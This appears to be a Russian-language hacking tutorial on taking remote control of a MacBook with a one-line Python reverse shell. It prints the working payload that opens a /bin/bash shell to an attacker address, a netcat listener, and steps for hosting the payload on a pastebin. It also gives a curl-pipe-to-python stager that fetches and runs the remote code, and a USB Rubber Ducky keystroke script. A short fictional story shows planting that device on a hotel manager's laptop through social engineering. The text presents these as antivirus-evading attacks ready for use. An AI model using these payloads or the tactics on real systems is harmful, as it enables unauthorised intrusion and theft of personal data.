Неправильное представление о том, что macOS более безопасна, чем Windows, далеко не правда. Используя одну маленькую команду хакер может полностью получить доступ к MacBook и управлять ею удаленно. Многие компьютеры под управлением Windows, делает их взлом прибыльным предприятием для киберпреступников программ, которые хотят получить материальную выгоду от использования уязвимостей нулевого дня в Windows 10. Таким образом, об использовании Windows 10 появляется гораздо больше новостей, хотя macOS может быть столь же уязвимой. Когда речь доходит до Mac pwning, однострочные полезные нагрузки создают соединение с MacBook, что позволяет злоумышленнику выполнять команды удаленно. Опытный программист на Python может легко составить сложный сценарий для эксфильтрации конфиденциальных данных, записи звука через микрофон в режиме реального времени, потоковой передачи с рабочего стола и шпионажа на цель, или автоматически выполнять различные атаки после эксплуатации. Для этой новой мини-серии в моей статье я покажу несколько однострочных команд для взлома macOS. Вот только одна команда, способная создать бэкдор и уклониться от антивирусного программного обеспечения в процессе: import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("1.2.3.4",8080));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]); Code import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("1.2.3.4",8080));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]); Данная команда Python не будет помечена как вредоносная или подозрительная с помощью брандмауэра macOS (с включенным «Блокировать все входящие подключения») или АВ, таких как AVG и Avast, потому что Python не является вредоносом/вирусом. Python - это одна из нескольких технологий, встроенных в ОС macOS, которая очень похожа на то, как хакеры злоупотребляют PowerShell, легитимным инструментом, предназначенным для администраторов Windows. Python команда немножко длинная, поэтому я покажу, как превратить длинные команды и сложные полезные нагрузки в настоящий хак, на вымышленном примере того, как это может работать в реальном мире. 1. Запускаем Netcat сервер Настройте Netcat (nc) для прослушивания (-l) новых входящих подключений через порт (-p) 8080. Netcat начнет прослушивать все доступные интерфейсы. nc -l -p 8080 Code nc -l -p 8080 2. Сохраняем пейлоад Затем сохраните приведенный ниже код Python в файл с именем payload.py. Это можно сделать с помощью nano или предпочитаемого текстового редактора. import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("1.2.3.4",8080));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]); Code import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("1.2.3.4",8080));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]); Если команда запускается на удаленном MacBook, где используется виртуальный частный сервер (VPS), обязательно измените IP-адрес злоумышленника (1.2.3.4) на IP-адрес сервера. Для локальных сетей, где система злоумышленника находится в той же сети Wi-Fi, что и MacBook, Netcat будет доступен с использованием локального IP-адреса злоумышленника (например, 192.168.1.18). Номер порта (8080) можно изменить на любое значение от 1024 до 65535. 3. Загружаем пейлоад в Pastebin Загрузите код Python в Pastebin. Я предпочитаю Pb, Pastebin на основе командной строки, потому что доменное имя очень короткое, и оно имеет возможность вручную указывать имена паст. Например, если бы я хотел загрузить скрипт Python, я бы использовал приведенную ниже команду cURL. cat payload.py | curl -F c=@- https://ptpb.pw/~PasteNameHere Code cat payload.py | curl -F c=@- https://ptpb.pw/~PasteNameHere Здесь я использую cat, чтобы прочитать файл Python и направить его (|) в команду cURL, которая получает данные (-Fc=@-) и отправляет их на сервер pb с URI «PasteNameHere». Затем Pastebin напечатает данные в терминале, подтверждающие, что паста была создана. cat payload.py | curl -F c=@- https://ptpb.pw/~PasteNameHere digest: a1a045f5546347f5cbf0181328ce4d77550f6ff7 label: ~PasteNameHere long: AKGgRfVUY0f1y_AYEyjOTXdVD2_3 short: D2_3 size: 7938 status: created url: https://ptpb.pw/~PasteNameHere uuid: xxxxxxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx Code cat payload.py | curl -F c=@- https://ptpb.pw/~PasteNameHere digest: a1a045f5546347f5cbf0181328ce4d77550f6ff7 label: ~PasteNameHere long: AKGgRfVUY0f1y_AYEyjOTXdVD2_3 short: D2_3 size: 7938 status: created url: https://ptpb.pw/~PasteNameHere uuid: xxxxxxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx Простое посещение URL сейчас из любого веб-браузера покажет полезную нагрузку Python. Имя вставки может быть любым. Если бы я хотел создать вставку, используя свое имя пользователя, я использовал бы следующую команду. cat payload.py | curl -F c=@- https://ptpb.pw/~tokyoneon Code cat payload.py | curl -F c=@- https://ptpb.pw/~tokyoneon 4. Взломываем все MacBook После этого любой MacBook может быть взломан с помощью ниже описанной команды. Это очень простая команда для фиксации в памяти. Команда cURL загрузит вставку (stager), содержащую код Python, и выполнится как фоновый процесс. curl ptpb.pw/~tokyoneon | python - & Code curl ptpb.pw/~tokyoneon | python - & Атаки СИ Настоящей проблемой является аспект атаки социальной инженерии. Как хакер обманом заставляет кого-то запускать вредоносный код? Что ж, я повеселился на этих выходных и составил простой сценарий в виде небольшого рассказа, который может помочь проиллюстрировать практическое применение взлома macOS с помощью одной команды. Хотя эта история полностью вымышленная и гипотетическая, я протестировал особую атаку на macOS High Sierra, где был установлен Avast (или AVG). Все персонажи были названы в честь известных хакеров. Менеджер отеля и rubber duck Хакеру нужен был доступ к базе данных отелей высокого класса, которая содержала личную информацию о клиентах. Чтобы приблизиться к персоналу отеля и его внутренним сетям, хакер решил провести вечер в отеле под псевдонимом «Nathalie Nahai». Натали вошла в отель и еще не знала об этом, но в этот вечер нормальный регистратор заболел. Это означало, что помощник управляющего здания несколько часов работал консьержем. Подойдя к стойке администратора в холле, Натали увидела табличку с именем консьержа, на которой было написано: «Менеджер: Кристофер Хаднаги». Рядом с ним был логотип отеля. «Добрый вечер, добро пожаловать в отель Hacked! Чем я могу вам помочь сегодня вечером?» воскликнул Кристофер с сияющей улыбкой. «Привет, Крис», - сказала Натали, сокращая свое полное имя, чтобы создать неформальный тон в их разговоре. «Я хотел бы забронировать номер на ночь». Когда Кристофер начинал новый процесс регистрации клиентов в киоске кассовых терминалов (PoS), Натали увидела открытый MacBook на стойке администратора. "О, это последняя модель MacBook?" Натали спросила, ****** для информации и незаметно ищет в своем кошельке USB резиновая уточка с надписью "macOS". Полезная нагрузка USB Rubber Ducky была разработана, чтобы создать черный ход, который дал бы ей удаленный доступ к MacBook. DELAY 1500 GUI SPACE DELAY 350 STRING terminal DELAY 100 ENTER DELAY 1000 STRING curl ptpb.pw/~tokyoneon | python - & ENTER GUI q Code DELAY 1500 GUI SPACE DELAY 350 STRING terminal DELAY 100 ENTER DELAY 1000 STRING curl ptpb.pw/~tokyoneon | python - & ENTER GUI q «Нет, не совсем», - сказал он со смехом. «Это старый, который я использую для работы, но я хотел обновить. Затем он прервал себя:« Какая комната вам понадобится сегодня вечером? » "Хм, каковы мои варианты?" спросила Натали, пряча macOS USB Rubber Ducky в ладони, надеясь на возможность вставить его в MacBook менеджера. «Ну, наши номера начинаются с $ 425 за ночь. Это одна кровать размера« queen-size », одна ванная комната и включает в себя завтрак, доступ к нашему бассейну…». Менеджер рассказал о возможностях и преимуществах, включенных в различные пакеты и предложения отеля. Чтобы создать возможность вставить USB Rubber Ducky в MacBook, Натали спросила: «У вас есть брошюра или брошюра со всеми вариантами? Видите ли, моя мама летит в город сегодня вечером, и я хочу убедиться, что мы комфортно. " «Конечно», - ответил Кристофер, достигая края стола для брошюры. «О, на самом деле, похоже, что мы все вышли. Дай мне секунду, я возьму еще немного из бэк-офиса». Менеджер выскочил из-за стола у администратора и вошел в запертую комнату в нескольких футах. Натали потянулась к столу и вставила USB-устройство в MacBook, который был почти не поднят. Через две секунды после подключения USB Rubby Ducky открылось окно терминала, и индикатор USB изменил цвет с красного на зеленый, что указывает на завершение нажатия клавиши. Натали вытащила USB Rubby Ducky из MacBook и попыталась выглядеть непринужденно. За пару секунд Кристофер вернулся из бэк-офиса с горсткой брошюр. «Вот одна брошюра для тебя и одна для твоей мамы», - сказал он с улыбкой.